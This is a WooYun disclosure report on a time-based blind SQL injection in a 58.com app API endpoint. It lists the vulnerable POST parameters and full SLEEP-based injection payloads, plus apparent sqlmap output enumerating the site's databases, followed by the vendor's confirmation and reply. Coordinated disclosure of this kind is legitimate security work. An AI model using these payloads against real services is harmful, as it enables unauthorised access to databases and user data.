当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0164603

漏洞标题:58 同城API存在SQL注射涉及主库654个表

相关厂商:58同城

漏洞作者: 路人甲

提交时间:2015-12-25 13:43

修复时间:2016-02-08 18:23

公开时间:2016-02-08 18:23

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-25: 细节已通知厂商并且等待厂商处理中
2015-12-26: 厂商已经确认,细节仅向厂商公开
2016-01-05: 细节向核心白帽子及相关领域专家公开
2016-01-15: 细节向普通白帽子公开
2016-01-25: 细节向实习白帽子公开
2016-02-08: 细节向公众公开

简要描述:

58 同城API存在sql注射

详细说明:

58 同城API存在sql注射,涉及主库654个表
链接:
http://app.58.com/api/log/api/msgpush/add/bj/1
注入参数:
Parameter: imei (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: imei=0f607264fc6318a92b9e13c65db7cd3c' AND (SELECT * FROM (SELECT(SLEEP(5)))jDPC) AND 'NvIX'='NvIX&openudid=c833e528c12ac1755a9e2f67e98a93b9e5cc919f&recendtime=23-59-59&recstarttime=00-00-00&sid=c833e528c12ac1755a9e2f67e98a93b9e5cc919f&syspush=0&token=23d6d8bcedee54e8c5f53d7bfc4ceade17afd26cbdd8967239cc3c0739367d84&userid=&version=6.3.3

漏洞证明:

---
Parameter: openudid (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: imei=0f607264fc6318a92b9e13c65db7cd3c&openudid=c833e528c12ac1755a9e2f67e98a93b9e5cc919f' AND (SELECT * FROM (SELECT(SLEEP(5)))cvWY) AND 'Lvek'='Lvek&recendtime=23-59-59&recstarttime=00-00-00&sid=c833e528c12ac1755a9e2f67e98a93b9e5cc919f&syspush=0&token=23d6d8bcedee54e8c5f53d7bfc4ceade17afd26cbdd8967239cc3c0739367d84&userid=&version=6.3.3
Parameter: token (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: imei=0f607264fc6318a92b9e13c65db7cd3c&openudid=c833e528c12ac1755a9e2f67e98a93b9e5cc919f&recendtime=23-59-59&recstarttime=00-00-00&sid=c833e528c12ac1755a9e2f67e98a93b9e5cc919f&syspush=0&token=23d6d8bcedee54e8c5f53d7bfc4ceade17afd26cbdd8967239cc3c0739367d84' AND (SELECT * FROM (SELECT(SLEEP(5)))lBOh) AND 'abXa'='abXa&userid=&version=6.3.3
Parameter: imei (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: imei=0f607264fc6318a92b9e13c65db7cd3c' AND (SELECT * FROM (SELECT(SLEEP(5)))jDPC) AND 'NvIX'='NvIX&openudid=c833e528c12ac1755a9e2f67e98a93b9e5cc919f&recendtime=23-59-59&recstarttime=00-00-00&sid=c833e528c12ac1755a9e2f67e98a93b9e5cc919f&syspush=0&token=23d6d8bcedee54e8c5f53d7bfc4ceade17afd26cbdd8967239cc3c0739367d84&userid=&version=6.3.3
---
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: token, type: Single quoted string (default)
[1] place: POST, parameter: imei, type: Single quoted string
[2] place: POST, parameter: openudid, type: Single quoted string
[q] Quit
> 1
[13:19:47] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.12
[13:19:47] [INFO] fetching database names
[13:19:47] [INFO] fetching number of databases
[13:19:47] [INFO] resumed: 3
[13:19:47] [INFO] resumed: information_schema
[13:19:47] [INFO] resumed: dbwww58com_wap
[13:19:47] [INFO] resumed: test
available databases [3]:
[*] dbwww58com_wap
[*] information_schema
[*] test

修复方案:

参数过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-12-26 10:48

厂商回复:

感谢对58安全的关注,我们小伙伴看到你这个标题中的"主库"二字,瞬间被吓尿了....
不过我们核实过了,这个不是主库,也没有什么敏感信息,都是一些客户端版本号、时间之类的信息。
最近小礼物没库存了,申请下来之后可能会给小伙伴们一起发送……

最新状态:

暂无